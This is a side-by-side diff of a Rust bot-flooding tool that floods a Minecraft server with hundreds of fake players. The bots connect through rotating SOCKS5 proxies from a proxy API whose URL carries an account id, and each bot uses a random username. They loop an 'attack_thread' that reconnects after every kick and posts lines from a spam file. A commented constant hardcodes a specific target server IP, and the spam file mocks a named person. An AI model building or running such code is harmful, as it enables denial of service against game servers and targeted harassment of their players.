self.random_prefix self.spam_delay_ms
} }
} pub fn random_prefix(&self) -> bool {
self.random_prefix
// impl Clone for Configuration { }
// fn clone(&self) -> Self { }
// Configuration {
// server_ip: self.server_ip.clone(),
// server_port: self.server_port.clone(),
// username_prefix: self.username_prefix.clone(),
// count: self.count,
// proxy_url: self.proxy_url.clone(),
// reco_words: self.reco_words.clone(),
// login_commands:self.login_commands.clone(),
// random_prefix: self.random_prefix,
// spam_file: self.spam_file.clone(),
// spam_delay_ms: self.spam_delay_ms,
// }
// }
// }

View File

@@ -1,182 +1,157 @@
// 地球管家 - 主程序 // 地球管家 - 主程序
mod bot_socks5; mod bot_socks5;
mod utils; mod utils;
mod configuration; mod configuration;
use bot_socks5::BotVariable; use bot_socks5::BotVariable;
use reqwest; use log::error;
use serde_json::Value; use reqwest;
use tokio::runtime::Runtime; use serde_json::Value;
// use tokio::task; use tokio::runtime::Runtime;
use std::sync::Arc; // use tokio::task;
use std::thread; use std::sync::Arc;
use tokio::sync::Mutex; use std::thread;
use crate::utils::generate_username; use tokio::sync::Mutex;
use crate::configuration::Configuration; use crate::utils::generate_username;
use crate::configuration::Configuration;
// 暂且保留一下
// // 目标的ip地址(暂时不能解析dns) #[tokio::main]
// // 理论上你可以把它改成任何支持1.20.1的服务器 async fn main() {
// const SERVER_ADDR: &str = "49.70.3.146:33009"; let mut logger_builder = env_logger::Builder::from_default_env();
// // uu代理的api(用来实时获取代理) logger_builder.filter_level(log::LevelFilter::Info);
// const UU_URL: &str = "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json"; logger_builder.init();
// // 用户名的开头 // 一个互斥锁,防止有多个线程同时请求uuproxy
// // 这很不错了 let thread_lock = Arc::new(Mutex::new(()));
// const USERNAME_PREFIX: &str = "Nikke_"; // 2 3 3
// // 假人数量 // let mut handles = Vec::new();
// const COUNT :i32 = 300; let configuration = Configuration::new("config.json");
let configuration_rc = Arc::new(configuration);
#[tokio::main] let mut spam_file = None;
async fn main() { if !configuration_rc.clone().spam_file().is_empty() {
// 一个互斥锁,防止有多个线程同时请求uuproxy spam_file = Some(tokio::fs::File::open(configuration_rc.clone().spam_file()).await.unwrap());
let thread_lock = Arc::new(Mutex::new(())); }
let variables = Arc::new(BotVariable {
// let mut handles = Vec::new(); spam_file: Arc::new(Mutex::new(spam_file)),
let configuration = Configuration::new("config.json"); spam_cursor: Arc::new(Mutex::new(0))
let configuration_rc = Arc::new(configuration); });
let mut spam_file = None;
if configuration_rc.username_prefix().len() > 14 { let rt = tokio::runtime::Builder::new_multi_thread()
eprintln!("[CONFIG] Error: Username prefix should not longer than 14"); .enable_all()
return; .thread_stack_size(8 * 1024 * 1024)
} .worker_threads(configuration_rc.worker_threads as usize)
if !configuration_rc.clone().spam_file().is_empty() { .build()
spam_file = Some(tokio::fs::File::open(configuration_rc.clone().spam_file()).await.unwrap()); .unwrap();
}
let variables = Arc::new(BotVariable { let rt_update = Arc::new(tokio::runtime::Builder::new_multi_thread()
spam_file: Arc::new(Mutex::new(spam_file)), .enable_all()
spam_cursor: Arc::new(Mutex::new(0)) .thread_stack_size(8*1024*1024)
}); .worker_threads(configuration_rc.update_worker_threads as usize)
.build()
let rt = tokio::runtime::Builder::new_multi_thread() .unwrap());
.enable_all()
.thread_stack_size(8 * 1024 * 1024) for _ in 0..configuration_rc.count() -1 {
.worker_threads(configuration_rc.worker_threads as usize) let lock_clone = thread_lock.clone();
.build() let configuration_rc_clone = configuration_rc.clone();
.unwrap(); let variables_clone = variables.clone();
let rt_update_clone = rt_update.clone();
let rt_update = Arc::new(tokio::runtime::Builder::new_multi_thread() if configuration_rc.use_thread_pool {
.enable_all() rt.spawn(attack_thread(lock_clone,configuration_rc_clone,variables_clone,rt_update_clone));
.thread_stack_size(8*1024*1024) }else{
.worker_threads(configuration_rc.update_worker_threads as usize) thread::spawn(move || {
.build() tokio::runtime::Builder::new_current_thread()
.unwrap()); .enable_all()
.thread_stack_size(8 * 1024 * 1024)
for _ in 0..configuration_rc.count() -1 { .build()
let lock_clone = thread_lock.clone(); .unwrap()
let configuration_rc_clone = configuration_rc.clone(); .block_on(async move {
let variables_clone = variables.clone(); attack_thread(lock_clone,configuration_rc_clone,variables_clone,rt_update_clone).await;
let rt_update_clone = rt_update.clone(); // println!("[MAIN] Thread {} created", i);
// let handle = tokio::spawn(async move { });
// attack_thread(lock_clone).await; });
// println!("[MAIN] Thread {} created", i); }
// }); }
// 生成一个线程 let lock_clone = thread_lock.clone();
// let handle = tokio::task::spawn(attack_thread(lock_clone,configuration_rc_clone,variables_clone)); let configuration_rc_clone = configuration_rc.clone();
// let handle; let variables_clone = variables.clone();
if configuration_rc.use_thread_pool { let rt_update_clone = rt_update.clone();
rt.spawn(attack_thread(lock_clone,configuration_rc_clone,variables_clone,rt_update_clone)); attack_thread(lock_clone, configuration_rc_clone, variables_clone,rt_update_clone).await;
}else{ }
thread::spawn(move || {
tokio::runtime::Builder::new_current_thread() // 用于殴打的线程
.enable_all() async fn attack_thread(lock: Arc<Mutex<()>>, config: Arc<Configuration>, variables: Arc<BotVariable>,rt_update: Arc<Runtime>) -> () {
.thread_stack_size(8 * 1024 * 1024) loop {
.build() // 请求proxy(如果有)
.unwrap() let username = generate_username(&config);
.block_on(async move { // 这里用来标记是否需要重启
attack_thread(lock_clone,configuration_rc_clone,variables_clone,rt_update_clone).await; let mut flag = true;
// println!("[MAIN] Thread {} created", i);
}); let mut proxy: &Value = &Value::Null;
}); let mut proxy_list: Value;
} if !config.proxy_url().is_empty() {
// handles.push(handle); let mut flag = true;
// println!("[MAIN] Thread {} created", i) // 这个太吵了( while flag {
} flag = false;
let resp: reqwest::Response;
// 等待所有任务完成(虽然大概也许可能这辈子都等不到) {
// for _ in handles { let _guard = lock.lock().await;
// } resp = reqwest::get(config.proxy_url()).await.unwrap();
let lock_clone = thread_lock.clone(); }
let configuration_rc_clone = configuration_rc.clone(); proxy_list = serde_json::from_str(&resp.text().await.unwrap()).unwrap();
let variables_clone = variables.clone(); proxy = match proxy_list["proxies"].as_array() {
let rt_update_clone = rt_update.clone(); Some(t) => &t[0],
attack_thread(lock_clone, configuration_rc_clone, variables_clone,rt_update_clone).await; None => &Value::Null
} };
if !proxy.is_object() {
// 用于殴打的线程 flag = true;
async fn attack_thread(lock: Arc<Mutex<()>>, config: Arc<Configuration>, variables: Arc<BotVariable>,rt_update: Arc<Runtime>) -> () { error!("[{}] Unable to get proxy,retrying...",username)
loop { }
// 请求proxy(如果有) }
let username = generate_username(&config); }
// 这里用来标记是否需要重启
let mut flag = true; while flag {
flag = false;
let mut proxy: &Value = &Value::Null; // 创建一个bot
let mut proxy_list: Value; let addr:String; // 为了规避生命周期问题
if !config.proxy_url().is_empty() { let bot_result = bot_socks5::create_new_bot(
let mut flag = true; username.to_string(),
while flag { {
flag = false; if proxy.is_null() { // 如果不使用proxy
let resp: reqwest::Response; ""
{ }else{
let _guard = lock.lock().await; let ip = proxy["ip"].as_str().unwrap();
resp = reqwest::get(config.proxy_url()).await.unwrap(); let port = proxy["port"].as_i64().unwrap();
} addr = format!("{}:{}",ip,port);
proxy_list = serde_json::from_str(&resp.text().await.unwrap()).unwrap(); addr.as_str()
proxy = match proxy_list["proxies"].as_array() { }
Some(t) => &t[0], }.to_string(),
None => &Value::Null format!("{}:{}",config.server_ip(),config.server_port()),
}; config.clone(),
if !proxy.is_object() { variables.clone(),
flag = true; );
eprintln!("[{}] Unable to get proxy,retrying...",username) if let Ok(mut bot) = bot_result {
} //println!("[{}] Connecting to {} with proxy {}", bot.username, bot.server_addr, bot.proxy_addr);
} // 插入生成update_worker线程的代码
} let mut bot_clone = bot.clone();
let (tx, rx) = tokio::sync::mpsc::unbounded_channel::<bot_socks5::BotMessage>();
while flag { rt_update.spawn(async move {
flag = false; bot_clone.update_worker(rx).await;
// 创建一个bot });
let addr:String; // 为了规避生命周期问题 match bot.run(tx).await {
let bot_result = bot_socks5::create_new_bot( Ok(_) => {
username.to_string(), if bot.should_restart() {
{ flag = true;
if proxy.is_null() { // 如果不使用proxy }
"" }
}else{ Err(e) => {
let ip = proxy["ip"].as_str().unwrap(); error!("[{}] Error running bot: {}", username.clone(), e);
let port = proxy["port"].as_i64().unwrap(); }
addr = format!("{}:{}",ip,port); }
addr.as_str() }else if let Err(e) = bot_result {
} error!("[{}] Error creating bot: {}", username.clone(), e);
}.to_string(), continue;
format!("{}:{}",config.server_ip(),config.server_port()), }
config.clone(),
variables.clone(), }
); }
if let Ok(mut bot) = bot_result { }
//println!("[{}] Connecting to {} with proxy {}", bot.username, bot.server_addr, bot.proxy_addr);
// 插入生成update_worker线程的代码
let mut bot_clone = bot.clone();
let (tx, rx) = tokio::sync::mpsc::unbounded_channel::<u8>();
rt_update.spawn(async move {
bot_clone.update_worker(rx).await;
});
match bot.run(tx).await {
Ok(_) => {
if bot.should_restart() {
flag = true;
}
}
Err(e) => {
eprintln!("[{}] Error running bot: {}", username.clone(), e);
}
}
}else if let Err(e) = bot_result {
eprintln!("[{}] Error creating bot: {}", username.clone(), e);
continue;
}
}
}
}

View File

@@ -1,62 +1,62 @@
// 一些杂七杂八的小东西可以放在这 // 一些杂七杂八的小东西可以放在这
use std::sync::Arc; use std::sync::Arc;
use rand::distributions::Alphanumeric; use rand::distributions::Alphanumeric;
use rand::Rng; use rand::Rng;
use crate::configuration::Configuration; use crate::configuration::Configuration;
// 处理json组件(有些TextComponent里面一堆extra看的我头皮发麻,所以整个这个) // 处理json组件(有些TextComponent里面一堆extra看的我头皮发麻,所以整个这个)
pub fn parse_json_component(json: &str) -> String { pub fn parse_json_component(json: &str) -> String {
let data: serde_json::Value = serde_json::from_str(json).unwrap(); let data: serde_json::Value = serde_json::from_str(json).unwrap();
let mut res: String = String::new(); let mut res: String = String::new();
let text = data.get("text"); let text = data.get("text");
match text { match text {
Some(t) => { Some(t) => {
if t.is_string(){ if t.is_string(){
res += t.as_str().unwrap(); res += t.as_str().unwrap();
} }
} }
None => { None => {
let translate = data.get("translate"); let translate = data.get("translate");
match translate { match translate {
Some(t) => { Some(t) => {
if t.is_string(){ if t.is_string(){
res += t.as_str().unwrap(); res += t.as_str().unwrap();
} }
} }
None => {} None => {}
} }
} }
} }
let extra = data.get("extra"); let extra = data.get("extra");
match extra { match extra {
Some(t) =>{ Some(t) =>{
for i in t.as_array().unwrap(){ for i in t.as_array().unwrap(){
if !i.is_object(){ if !i.is_object(){
continue; continue;
} }
res += parse_json_component(i.to_string().as_str()).as_str(); res += parse_json_component(i.to_string().as_str()).as_str();
} }
} }
None => {} None => {}
} }
return res; return res;
} }
// 生成一个随机的用户名 // 生成一个随机的用户名
// author: 通义 // author: 通义
pub fn generate_string(len_min: i64, len_max: i64) -> String { pub fn generate_string(len_min: i64, len_max: i64) -> String {
let mut rng = rand::thread_rng(); let mut rng = rand::thread_rng();
let len = rng.gen_range(len_min..=len_max); let len = rng.gen_range(len_min..=len_max);
rng.sample_iter(&Alphanumeric) rng.sample_iter(&Alphanumeric)
.take(len as usize) .take(len as usize)
.map(char::from) .map(char::from)
.collect() .collect()
} }
pub fn generate_username(config: &Arc<Configuration>) -> String { pub fn generate_username(config: &Arc<Configuration>) -> String {
config.username_prefix().to_string() + generate_string( config.username_prefix().to_string() + generate_string(
2,16-config.username_prefix().len() as i64 config.name_len_limit[0], config.name_len_limit[1]
).to_string().as_str() ).to_string().as_str()
} }

View File

@@ -1,5 +1,5 @@
我奶猪好燃 我奶猪好燃
猪好燃的猪 猪好燃的猪
猪好燃的好 猪好燃的好
猪好燃的燃 猪好燃的燃
没错,我叫猪好燃 没错,我叫猪好燃